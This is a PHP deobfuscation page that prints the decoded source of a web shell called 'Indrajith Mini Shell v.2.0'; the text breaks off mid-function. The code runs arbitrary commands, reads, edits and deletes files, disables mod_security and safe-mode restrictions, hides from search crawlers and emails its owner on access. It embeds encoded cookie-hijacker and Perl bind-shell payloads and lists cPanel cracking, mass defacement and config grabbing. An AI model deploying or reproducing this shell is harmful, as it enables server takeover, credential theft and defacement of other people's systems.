Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAKCi8qCiAqIEluZHJhaml0aCBNaW5pIFNoZWxsIHYuMi4wIHdpdGg..
Decoded Output download
?>b'<?php
/*
* Indrajith Mini Shell v.2.0 with additional features....
* originally scripted by AJITH KP
* (c) Under Gnu General Public Licence 3(c)
* Team Open Fire and Indishell Family
* TOF : Shritam Bhowmick, Null | Void, Alex, Ankit Sharma,John.
* Indishell : ASHELL, D@rkwolf.
* THA : THA RUDE [There is Nothing in Borders]
* Love to : AMSTECK ARTS & SCIENCE COLLEGE, Kalliassery; Vishnu Nath KP, Sreeju, Sooraj, Computer Korner Friends.
*/
/*------------------ LOGIN -------------------*/
$username="ajithkp560";
$password="ajithkp560";
$email="[email protected]";
/*------------------ Login Data End ----------*/
@error_reporting(4);
/*------------------ Anti Crawler ------------*/
if(!empty($_SERVER[\'HTTP_USER_AGENT\']))
{
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\']))
{
header(\'HTTP/1.0 404 Not Found\');
exit;
}
}
echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
/*------------------ End of Anti Crawler -----*/
echo "<link href=data:image/gif;base64,R0lGODlhEAAQAPcAADGcADmcADmcCEKcEEKlEEqlGEqlIVKlIVKtIVKtKVqtMWO1OWu1Qmu1SnO1SnO9SnO9Unu9WoS9Y4TGY4zGa4zGc5TGc5TOc5TOe5zOe5zOhK3WlLXepb3ercbntcbnvc7nvc7nxtbvzt7vzt7v1uf33u/35+/37/f37/f/9///9////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAAEAAQAAAIxwA7ABhIsGBBgQEAJAwwgIGEBQojEhQwcIEFDRUUUCS4UCEEjAc2RhQJoIGGCAIERODQQOLAAAc0SABwgEMIDgoSShQgAcMAAx08OBCgEYDImA0CbPiwoICHFBIoDogAwAGGAgpCVBggYgUHAwU2nFgBQEIFARVAGNCwAkNVEytCzKwwc0MHASVICHCQ4gTKgRJaVtAgQAQGBSdMJCDZ0WiADyoYAOCg4eVAkQpWCBRgIoTOjTotrHAwECwAgZYpdkBRQGKHgAAAOw== rel=icon type=image/x-icon />";
echo "<style>
html { background:url(http://www.ajithkp560.hostei.com/images/background.gif) black; }
#loginbox { font-size:11px; color:green; width:1200px; height:200px; border:1px solid #4C83AF; background-color:#111111; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
input { font-size:11px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; }
loginbox td { border-radius:5px; font-size:11px; }
.header { size:25px; color:green; }
h1 { font-family:DigifaceWide; color:green; font-size:200%; }
h1:hover { text-shadow:0 0 20px #00FFFF, 0 0 100px #00FFFF; }
.go { height: 50px; width: 50px;float: left; margin-right: 10px; display: none; background-color: #090;}
.input_big { width:75px; height:30px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; font-size:17px; }
hr { border:1px solid #222222; }
#meunlist { width: auto; height: auto; font-size: 12px; font-weight: bold; }
#meunlist ul { padding-top: 5px; padding-right: 5px; padding-bottom: 7px; padding-left: 2px; text-align:center; list-style-type: none; margin: 0px; }
#meunlist li { margin: 0px; padding: 0px; display: inline; }
#meunlist a { font-size: 14px; text-decoration:none; font-weight: bold;color:green;clear: both;width: 100px;margin-right: -6px; padding-top: 3px; padding-right: 15px; padding-bottom: 3px; padding-left: 15px; }
#meunlist a:hover { background: #333; color:green; }
.menubar {-moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
.menu { font-size:25px; color: }
.textarea_edit { background-color:#111111; border:1px groove #333; color:green; }
.textarea_edit:hover { text-decoration:none; border:1px dashed #333; }
.input_butt {font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222;}
#result{ -moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; min-height:100px;}
.table{ width:100%; padding:4px 0; color:#888; font-size:15px; }
.table a{ text-decoration:none; color:green; font-size:15px; }
.table a:hover{text-decoration:underline;}
.table td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:top; }
.table th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; }
.table tr:hover{ background:#181818; }
.tbl{ width:100%; padding:4px 0; color:#888; font-size:15px; text-align:center; }
.tbl a{ text-decoration:none; color:green; font-size:15px; vertical-align:middle; }
.tbl a:hover{text-decoration:underline;}
.tbl td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:middle; width: 300px; }
.tbl th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; vertical-align:middle; }
.tbl td:hover{ background:#181818; }
#alert {position: relative;}
#alert:hover:after {background: hsla(0,0%,0%,.8);border-radius: 3px;color: #f6f6f6;content: \'Click to dismiss\';font: bold 12px/30px sans-serif;height: 30px;left: 50%;margin-left: -60px;position: absolute;text-align: center;top: 50px; width: 120px;}
#alert:hover:before {border-bottom: 10px solid hsla(0,0%,0%,.8);border-left: 10px solid transparent;border-right: 10px solid transparent;content: \'\';height: 0;left: 50%;margin-left: -10px;position: absolute;top: 40px;width: 0;}
#alert:target {display: none;}
.alert_red {animation: alert 1s ease forwards;background-color: #c4453c;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -45px;width: 100%;}
.alert_green {animation: alert 1s ease forwards;background-color: #43CD80;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -45px;width: 100%;}
@keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}
</style>";
if($_COOKIE["user"] != $username && $_COOKIE["pass"] != md5($password))
{
if($_POST["usrname"]==$username && $_POST["passwrd"]==$password)
{
print\'<script>document.cookie="user=\'.$_POST["usrname"].\';";document.cookie="pass=\'.md5($_POST["passwrd"]).\';";</script>\';
if($email!="")
{
mail_alert();
}
}
else
{
if($_POST[\'usrname\'])
{
print\'<script>alert("Sorry... Wrong UserName/PassWord");</script>\';
}
echo \'<title>INDRAJITH SHELL v.2.0</title><center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<font color=orange>>>>>>>>>>></font><font color=white>>>>>><<<<<</font><font color=green>>>>>>>>>>></font>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>INDRAJITH SHELL v.2.0</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" value="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="passwrd" value="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1> </font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Enter"></font></td></tr></table>
</div><br /></center>\';
exit;
}
}
$color_g="green";
$color_b="4C83AF";
$color_bg="#111111";
$color_hr="#222";
$color_wri="green";
$color_rea="yellow";
$color_non="red";
$path=$_GET[\'path\'];
@session_start();
@set_time_limit(0);
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ignore_user_abort(FALSE);
@ini_set(\'zlib.output_compression\',\'Off\');
$sep="/";
if(strtolower(substr(PHP_OS,0,3))=="win")
{
$os="win";
$sep="\";
$ox="Windows";
}
else
{
$os="nix";
$ox="Linux";
}
$self=$_SERVER[\'PHP_SELF\'];
$srvr_sof=$_SERVER[\'SERVER_SOFTWARE\'];
$your_ip=$_SERVER[\'REMOTE_ADDR\'];
$srvr_ip=$_SERVER[\'SERVER_ADDR\'];
$admin=$_SERVER[\'SERVER_ADMIN\'];
$s_php_ini="safe_mode=OFF
disable_functions=NONE";
$ini_php="<?
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"file\"]);
ini_restore(\"safe_mode\");
ini_restore(\"open_basedir\");
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"ss\"]);
?>";
$s_htaccess="<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>";
$s_htaccess_pl="Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl";
$sym_htaccess="Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$sym_php_ini="safe_mode=OFF
disable_functions=NONE";
$forbid_dir="Options -Indexes";
$cookie_highjacker="rVVdc5pAFH13xv9wh3Eipq22M3miasaJGGmNWsS2mU6HQVyEFlnCLkk7If+9d8EPCKFtpuVB2d1z7z177gf1Wvc8dMN6rXP6av/AJQlIZHGyBouBBaEVcaAOaNOhPninGWNYjNXJBMKIfiM2h53Zaadec+LA5h4N0AXX5nKrXruv1wAfzwF5QzgJbmVpbBhz82KiqVPD1OZSC05OgPHIthixt2El7CVIcfA9oHeB1GplXnfOxdPwQuhBle3bDPiQ/RGfkTKjz+Zopn8a6EN1KN5+z6sEfja7koc/cNTVq5mhmoPhsJpaAfMcRgXDCiIeY4TLDXOh6h9V/UszZ9P8mjKqOHtEtgL1N3QrTMuEK+wPEYoWEeFxFMiIEXd/yJWxTzdDi1u5QkbQhG56kk0Dx9vE2CaIY23+g++dNmxKv3ukQPfDUtWvzYWha9PLA99GRDYe4yQyNz5dWT5DE3lFqd8CL/BMzI3cPEJSRHOfHJGQkn2rmNWCSHvDNJ0ZbNejeHDgszVDis3+hNLzmW4cmccMo1obEhSxaWEvcWUOLrH1cje9YdzcEu7SdcHgSjXGs2Feka3pUvYkg/FskfdIHBKRqBxeV0eqrh6rorHGSdYTPyBLPqwXYpSN4BpcxVMYDA713sBk9xwakkCWsixLWJPWC+mokFA9RNXNrcVtV5Y6K5dvVx0PgZlFC5IESgi/ACkXtxPGnMkiPgbU5kqanwSE5EouKwkICZScSgkMRA6UQkISyFRVirIngMooR+ESGA4M9R4UeMg0wp2L2ey9pirHGu6uov5TA+F/XuGf7pBeQqm+QBA8pu/YPmUkpbrr9kOT45LYLgWpXuuKtPW7LrHWfVxxj/ukf/b6DKaUw4jGwbrbyTbxtJPCuiu6/imW7pt+DoUr3Av7hktw0NzEhIkP61KfgNQuFDnOiIVhLnUNJ2Zbgjv89gboxhFuAGcRdz0GKNEtidrdTpgGTkOKwXOOy18=";
$bind_perl="rZJdb5swFIavi8R/OHXTFSSmZJu2i0abxAjtWApEQLtNVYUoOK1VgimmmqIq/30+dpKmmna1+Aq/7/Fzvjg6HD6JbnjLmmFLuxre/jYN0zjax5EY+P+jMee0oV3R0woKAQW0RdcDn0MQTRL3e5B9g5A1DNJ7WtfwdQlKm84+fhrBdRaf3Wwwe6lmP7MxjSdBIeXlA+3H+uLxZs7u5GXAhcr2GQZae+aiKRZ0hV7Lu/5AOm5yfnU9ulFSx3sutTvaq8/bJUZbJ33ZntgYUC4qaZO6rcgYUw/EUvR0gZpavbjXOptbmJs+AgnTH6z58J7YpvFsGgfrF7IkcuzFYTrzvWMYTvHZShFHWK3MozhCtWWlfnLlJw7MzvIg8jMH0tib5mmW+G7ogC7bBt5BxSgQ/eh0cIhQQXu88/aFksYXOQI0KE/8y9R3JxPptEX5YJGaOPDO3uFtEaegobLVaotDr6iqLmeNpYbqyN8Jebkb/drB4KMNoGZyCM1ORaH704uj6CVaR2ziTWPOO2ssW8VMckJFWVLZkncR+BG2oUD2GMqa4w+g5PXEeYuZskkQOUC+vNEewXVurfgy+6fnJ8lfnt6htd6lklRineb1XbJfCxKIwuoP";
/*----------------------- Top Menu ------------------------------------------*/
if($safemode=="On")
{
echo "<div id=\'alert\'><a class=\"alert_red\" href=\"#alert\">Safe Mode : <font color=green>ON</font></a></div>";
}
else
{
echo "<div id=\'alert\'><a class=\"alert_green\" href=\"#alert\">Safe Mode : <font color=red>OFF</font></a></div>";
}
echo "<script src=\"http://code.jquery.com/jquery-latest.js\"></script><script>$(\"#alert\").delay(2000).fadeOut(300);</script>";
echo "<title>INDRAJITH SHELL v.2.0</title><div id=result>
<table>
<tbody>
<tr>
<td style=\'border-right:1px solid #104E8B;\' width=\"300px;\">
<div style=\'text-align:center;\'>
<a href=\'?\' style=\'text-decoration:none;\'><h1>INDRAJITH</h1></a><font color=blue>MINI SHELL</font>
</div>
</td>
<td>
<div class=\"header\">OS</font> <font color=\"#666\" >:</font>
".$ox." </font> <font color=\"#666\" >|</font> ".php_uname()."<br />
Your IP : <font color=red>".$your_ip."</font> <font color=\"#666\" >|</font> Server IP : <font color=red>".$srvr_ip."</font> <font color=\"#666\" > | </font> Admin <font color=\"#666\" > : </font> <font color=red> {$admin} </font> <br />
MySQL <font color=\"#666\" > : </font>"; echo mysqlx();
echo "<font color=\"#666\" > | </font> Oracle <font color=\"#666\" > : </font>"; echo oraclesx();
echo "<font color=\"#666\" > | </font> MSSQL <font color=\"#666\" > : </font>"; echo mssqlx();
echo "<font color=\"#666\" > | </font> PostGreySQL <font color=\"#666\" > : </font>";echo postgreyx();
echo "<br />cURL <font color=\"#666\" > : </font>";echo curlx();
echo "<font color=\"#666\" > | </font>Total Space<font color=\"#666\" > : </font>"; echo disc_size();
echo "<font color=\"#666\" > | </font>Free Space<font color=\"#666\" > : </font>"; echo freesize();
echo "<br />Software<font color=\"#666\" > : </font><font color=red>{$srvr_sof}</font><font color=\"#666\" > | </font> PHP<font color=\"#666\" > : </font><a style=\'color:red; text-decoration:none;\' target=_blank href=?phpinfo>".phpversion()."</a>
<br />Disabled Functions<font color=\"#666\" > : </font></font><font color=red>";echo disabled_functns()."</font><br />";
if($os == \'win\'){ echo "Drives <font color=\"#666\" > : </font>";echo drivesx(); }
else { echo "r00t Exploit <font color=\"#666\" > : </font><font color=red>"; echo r00t_exploit() ."</font>"; }
echo "
</div>
</td>
</tr>
</tbody>
</table></div>";
echo "<div class=\'menubar\'> <div id=\"meunlist\">
<ul>
<li><a href=\"?\">HOME</a></li>
<li><a href=\"?symlink\">SymLink</a></li>
<li><a href=\"?rs\">((( Connect )))</a></li>
<li><a href=\"?cookiejack\">Cookie HighJack</a></li>
<li><a href=\"?encodefile\">PHP Encode/Decode</a></li>
<li><a href=\"?path={$path}&safe_mod\">Safe Mode Fucker</a></li>
<li><a href=\"?path={$path}&forbd_dir\">Directory Listing Forbidden</a></li>
</ul>
<ul>
<li><a href=\"?massmailer\">Mass Mailer</a></li>
<li><a href=\"?cpanel_crack\">CPANEL Crack</a></li>
<li><a href=\"?server_exploit_details\">Exploit Details</a></li>
<li><a href=\"?remote_server_scan\">Remote Server Scan</a></li>
<li><a href=\"?remotefiledown\">Remote File Downloader</a></li>
<li><a href=\"?hexenc\">Hexa Encode/Decode</a></li>
</ul>
<ul>
<li><a href=\"?sh311_scanner\">SH3LL Scan</a></li>
<li><a href=\"?sshman\">SSH Shell</a></li>
<li><a href=\"?path={$path}&c0de_inject\">c0de inj3ct</a></li>
<li><a href=\"?ftpman\">FTP Manager</a></li>
<li><a href=\"?ftp_anon_scan\">FTP Anonymous Access Scan</a></li>
<li><a href=\"?path={$path}&mass_xploit\">Mass Deface</a></li>
<li><a href=\"?config_grab\">Config Grabber</a></li>
<li><a href=\"?killme\"><font color=red>Kill Me</font></a></li>
</ul>
</div></div>";
/*----------------------- End of Top Menu -----------------------------------*/
/*--------------- FUNCTIONS ----------------*/
function alert($alert_txt)
{
echo "<script>alert(\'".$alert_txt."\');window.location.href=\'?\';</script>";
}
function disabled_functns()
{
if(!@ini_get(\'disable_functions\'))
{
echo "None";
}
else
{
echo @ini_get(\'disable_functions\');
}
}
function drivesx()
{
foreach(range(\'A\',\'Z\') as $drive)
{
if(is_dir($drive.\':\\'))
{
echo "<a style=\'color:green; text-decoration:none;\' href=\'?path=".$drive.":\\'>[".$drive."]</a>";
}
}
}
function mail_alert()
{
global $email, $your_ip;
$shell_path="http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$content_mail="Hello Master,
Your shell in $shell_path is accessed by ".$_SERVER[\'REMOTE_ADDR\'] .". Hope You Enjoy this shell very much.
By Indrajith";
mail($email, "Shell Accessed!!!", $content_mail ,"From:[email protected]");
}
function filesizex($size)
{
if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
elseif ($size>=1024)$size = round(($size/1024),2)." KB";
else $size .= " B";
return $size;
}
function disc_size()
{
echo filesizex(disk_total_space("/"));
}
function freesize()
{
echo filesizex(disk_free_space("/"));
}
function file_perm($filz){
if($m=fileperms($filz)){
$p=\'\';
$p .= ($m & 00400) ? \'r\' : \'-\';
$p .= ($m & 00200) ? \'w\' : \'-\';
$p .= ($m & 00100) ? \'x\' : \'-\';
$p .= ($m & 00040) ? \'r\' : \'-\';
$p .= ($m & 00020) ? \'w\' : \'-\';
$p .= ($m & 00010) ? \'x\' : \'-\';
$p .= ($m & 00004) ? \'r\' : \'-\';
$p .= ($m & 00002) ? \'w\' : \'-\';
$p .= ($m & 00001) ? \'x\' : \'-\';
return $p;
}
else return "?????";
}
function mysqlx()
{
if(function_exists(\'mysql_connect\'))
{
echo "<font color=\'red\'>Enabled</font>";
}
else
{
echo "<font color=\'green\'>Disabled</font>";
}
}
function oraclesx()
{
if(function_exists(\'oci_connect\'))
{
echo "<font color=\'red\'>Enabled</font>";
}
else
{
echo "<font color=\'green\'>Disabled</font>";
}
}
function mssqlx()
{
if(function_exists(\'mssql_connect\'))
{
echo "<font color=\'red\'>Enabled</font>";
}
else
{
echo "<font color=\'green\'>Disabled</font>";
}
}
function postgreyx()
{
if(function_exists(\'pg_connect\'))
{
echo "<font color=\'red\'>Enabled</font>";
}
else
{
echo "<font color=\'green\'>Disabled</font>";
}
}
function strip($filx)
{
if(!get_magic_quotes_gpc()) return trim(urldecode($filx));
return trim(urldecode(stripslashes($filx)));
}
function curlx()
{
if(function_exists(\'curl_version\'))
{
echo "<font color=\'red\'>Enabled</font>";
}
else
{
echo "<font color=\'green\'>Disabled</font>";
}
}
function filesize_x($filex)
{
$f_size=filesizex(filesize($filex));
return $f_size;
}
function rename_ui()
{
$rf_path=$_GET[\'rename\'];
echo "<div id=result><center><h2>Rename</h2><hr /><p><br /><br /><form method=\'GET\'><input type=hidden name=\'old_name\' size=\'40\' value=".$rf_path.">New Name : <input name=\'new_name\' size=\'40\' value=".basename($rf_path)."><input type=\'submit\' value=\' >>> \' /></form></p><br /><br /><hr /><br /><br /></center></div>";
}
function filemanager_bg()
{
global $sep, $self;
$path=!empty($_GET[\'path\'])?$_GET[\'path\']:getcwd();
$dirs=array();
$fils=array();
if(is_dir($path))
{
chdir($path);
if($handle=opendir($path))
{
while(($item=readdir($handle))!==FALSE)
{
if($item=="."){continue;}
if($item==".."){continue;}
if(is_dir($item))
{
array_push($dirs, $path.$sep.$item);
}
else
{
array_push($fils, $path.$sep.$item);
}
}
}
else
{
alert("Access Denied for this operation");
}
}
else
{
alert("Directory Not Found!!!");
}
echo "<div id=result><table class=table>
<tr>
<th width=\'500px\'>Name</th>
<th width=\'100px\'>Size</th>
<th width=\'100px\'>Permissions</th>
<th width=\'500px\'>Actions</th>
</tr>";
foreach($dirs as $dir)
{
echo "<tr><td><a href=\'{$self}?path={$dir}\'>".basename($dir)."</a></td>
<td>".filesize_x($dir)."</td>
<td><a href=\'{$self}?path={$path}&perm={$dir}\'>".file_perm($dir)."</a></td>
<td><a href=\'{$self}?path={$path}&del_dir={$dir}\'>Delete</a> | <a href=\'{$self}?path={$path}&rename={$dir}\'>Rename</a></td></tr>";
}
foreach($fils as $fil)
{
echo "<tr><td><a href=\'{$self}?path={$path}&read={$fil}\'>".basename($fil)."</a></td>
<td>".filesize_x($fil)."</td>
<td><a href=\'{$self}?path={$path}&perm={$fil}\'>".file_perm($fil)."</a></td>
<td><a href=\'{$self}?path={$path}&del_fil={$fil}\'>Delete</a> | <a href=\'{$self}?path={$path}&rename={$fil}\'>Rename</a> | <a href=\'{$self}?path={$path}&edit={$fil}\'>Edit</a> | <a href=\'{$self}?path={$path}&copy={$fil}\'>Copy</a> </td>";
}
echo "</tr></table></div>";
}
function rename_bg()
{
if(isset($_GET[\'old_name\']) && isset($_GET[\'new_name\']))
{
$o_r_path=basename($_GET[\'old_name\']);
$r_path=str_replace($o_r_path, "", $_GET[\'old_name\']);
$r_new_name=$r_path.$_GET[\'new_name\'];
echo $r_new_name;
if(rename($_GET[\'old_name\'], $r_new_name)==FALSE)
{
alert("Access Denied for this action!!!");
}
else
{
alert("Renamed File Succeessfully");
}
}
}
function edit_file()
{
$path=$_GET[\'path\'];
chdir($path);
$edt_file=$_GET[\'edit\'];
$e_content = wordwrap(htmlspecialchars(file_get_contents($edt_file)));
if($e_content)
{
$o_content=$e_content;
}
else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
{
$fd = fopen($edt_file, "rb");
if(!$fd)
{
alert("Permission Denied");
}
else
{
while(!feof($fd))
{
$o_content=wordwrap(htmlspecialchars(fgets($fd)));
}
}
fclose($fd);
}
echo "<div id=\'result\'><center><h2>Edit File</h2><hr /></center><br /><font color=red>View File</font> : <font color=green><a style=\'text-decoration:none; color:green;\' href=\'?read=".$_GET[\'edit\']."\'>". basename($_GET[\'edit\']) ."</a><br /><br /><hr /><br /></font><form method=\'POST\'><input type=\'hidden\' name=\'e_file\' value=".$_GET[\'edit\'].">
<center><textarea spellcheck=\'false\' class=\'textarea_edit\' name=\'e_content_n\' cols=\'80\' rows=\'25\'>".$o_content."</textarea></center><hr />
<input class=\'input_big\' name=\'save\' type=\'submit\' value=\' Save \' /><br /><br /><hr /><br /><br /></div>";
}
function edit_file_bg()
{
if(file_exists($_POST[\'e_file\']))
{
$handle = fopen($_POST[\'e_file\'],"w+");
if (!handle)
{
alert("Permission Denied");
}
else
{
fwrite($handle,$_POST[\'e_content_n\']);
alert("Your changes were Successfully Saved!");
}
fclose($handle);
}
else
{
alert("File Not Found!!!");
}
}
function delete_file()
{
$del_file=$_GET[\'del_fil\'];
if(unlink($del_file) != FALSE)
{
alert("Deleted Successfully");
exit;
}
else
{
alert("Access Denied for this Operation");
exit;
}
}
function deldirs($d_dir)
{
$d_files= glob($d_dir.\'*\', GLOB_MARK);
foreach($d_files as $d_file)
{
if(is_dir($d_file))
{
deldirs($d_file);
}
else
{
unlink($d_file);
}
}
if(is_dir($d_dir))
{
if(rmdir($d_dir))
{
alert("Deleted Directory Successfully");
}
else
{
alert("Access Denied for this Operation");
}
}
}
function code_viewer()
{
$path=$_GET[\'path\'];
$r_file=$_GET[\'read\'];
$r_content = wordwrap(htmlspecialchars(file_get_contents($r_file)));
if($r_content)
{
$rr_content=$r_content;
}
else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
{
$fd = fopen($r_file, "rb");
if (!$fd)
{
alert("Permission Denied");
}
else
{
while(!feof($fd))
{
$rr_content=wordwrap(htmlspecialchars(fgets($fd)));
}
}
fclose($fd);
}
echo "<div id=result><center><h2>View File</h2></center><hr /><br /><font color=red>Edit File</font><font color=green> : </font><font color=#999><a style=\'text-decoration:none; color:green;\' href=\'?path={$path}&edit=".$_GET[\'read\']."\'>". basename($_GET[\'read\']) ."</a></font><br /><br /><hr /><pre><code>".$rr_content."</code></pre><br /><br /><hr /><br /><br /></div>";
}
function copy_file_ui()
{
echo "<div id=result><center><h2>Copy File</h2><hr /><br /><br /><table class=table><form method=\'GET\'><tr><td style=\'text-align:center;\'>Copy : <input size=40 name=\'c_file\' value=".$_GET[\'copy\']." > To : <input size=40 name=\'c_target\' value=".$_GET[\'path\'].$sep."> Name : <input name=\'cn_name\'><input type=\'submit\' value=\' >> \' /></form></table><br /><br /><hr /><br /><br /><br /></center></div>";
}
function copy_file_bg()
{
global $sep;
if(function_exists(copy))
{
if(copy($_GET[\'c_file\'], $_GET[\'c_target\'].$sep.$_GET[\'cn_name\']))
{
alert("Succeded");
}
else
{
alert("Access Denied");
}
}
}
function ch_perm_bg()
{
if(isset($_GET[\'p_filex\']) && isset($_GET[\'new_perm\']))
{
if(chmod($_GET[\'p_filex\'], $_GET[\'new_perm\']) !=FALSE)
{
alert("Succeded. Permission Changed!!!");
}
else
{
alert("Access Denied for This Operation");
}
}
}
function ch_perm_ui()
{
$p_file=$_GET[\'perm\'];
echo "<div id =result><center><h2>New Permission</h2><hr /><p><form method=\'GET\'><input type=\'hidden\' name=\'path\' value=".getcwd()." ><input name=\'p_filex\' type=hidden value={$p_file} >New Permission : <input name=\'new_perm\' isze=\'40\' value=0".substr(sprintf(\'%o\', fileperms($p_file)), -3)."><input type=\'submit\' value=\' >> \' /></form></p><p>Full Access : <font color=red>755</font><br />Notice : <font color=red>Don\'t use Unix Access like 777, 666, etc. Use 755, 655, etc</p><br /><br /><hr /><br /><br /></center></div>";
ch_perm_bg();
}
function mk_file_ui()
{
chdir($_GET[\'path\']);
echo "<div id=result><br /><br /><font color=red><form method=\'GET\'>
<input type=\'hidden\' name=\'path\' value=".getcwd().">
New File Name : <input size=\'40\' name=\'new_f_name\' value=".$_GET[\'new_file\']."></font><br /><br /><hr /><br /><center>
<textarea spellcheck=\'false\' cols=\'80\' rows=\'25\' class=textarea_edit name=\'n_file_content\'></textarea></center><hr />
<input class=\'input_big\' type=\'submit\' value=\' Save \' /></form></center></div>";
}
function mk_file_bg()
{
chdir($_GET[\'path\']);
$c_path=$_GET[\'path\'];
$c_file=$_GET[\'new_f_name\'];
$c_file_contents=$_GET[\'n_file_content\'];
$handle=fopen($c_file, "w");
if(!$handle)
{
alert("Permission Denied");
}
else
{
fwrite($handle,$c_file_contents);
alert("Your changes were Successfully Saved!");
}
fclose($handle);
}
function create_dir()
{
chdir($_GET[\'path\']);
$new_dir=$_GET[\'new_dir\'];
if(is_writable($_GET[\'path\']))
{
mkdir($new_dir);
alert("Direcory Created Successfully");
exit;
}
else
{
alert("Access Denied for this Operation");
exit;
}
}
function cmd($cmd)
{
chdir($_GET[\'path\']);
$res="";
if($_GET[\'cmdexe\'])
{
$cmd=$_GET[\'cmdexe\'];
}
if(function_exists(\'shell_exec\'))
{
$res=shell_exec($cmd);
}
else if(function_exists(\'exec\'))
{
exec($cmd,$res);
$res=join("
",$res);
}
else if(function_exists(\'system\'))
{
ob_start();
system($cmd);
$res = ob_get_contents();
ob_end_clean();
}
elseif(function_exists(\'passthru\'))
{
ob_start();
passthru($cmd);
$res=ob_get_contents();
ob_end_clean();
}
else if(function_exists(\'proc_open\'))
{
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$handle = proc_open($cmd ,$descriptorspec , $pipes);
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$res .= fread($pipes[1], 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$res .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
else if(function_exists(\'popen\'))
{
$handle = popen($cmd , "r");
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$res .= fread($handle, 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$res .= fgets($handle,512);
}
}
}
pclose($handle);
}
$res=wordwrap(htmlspecialchars($res));
if($_GET[\'cmdexe\'])
{
echo "<div id=result><center><font color=green><h2>r00t@TOF:~#</h2></center><hr /><pre>".$res."</font></pre></div>";
}
return $res;
}
function upload_file()
{
chdir($_POST[\'path\']);
if(move_uploaded_file($_FILES[\'upload_f\'][\'tmp_name\'],$_FILES[\'upload_f\'][\'name\']))
{
alert("Uploaded File Successfully");
}
else
{
alert("Access Denied!!!");
}
}
function reverse_conn_ui()
{
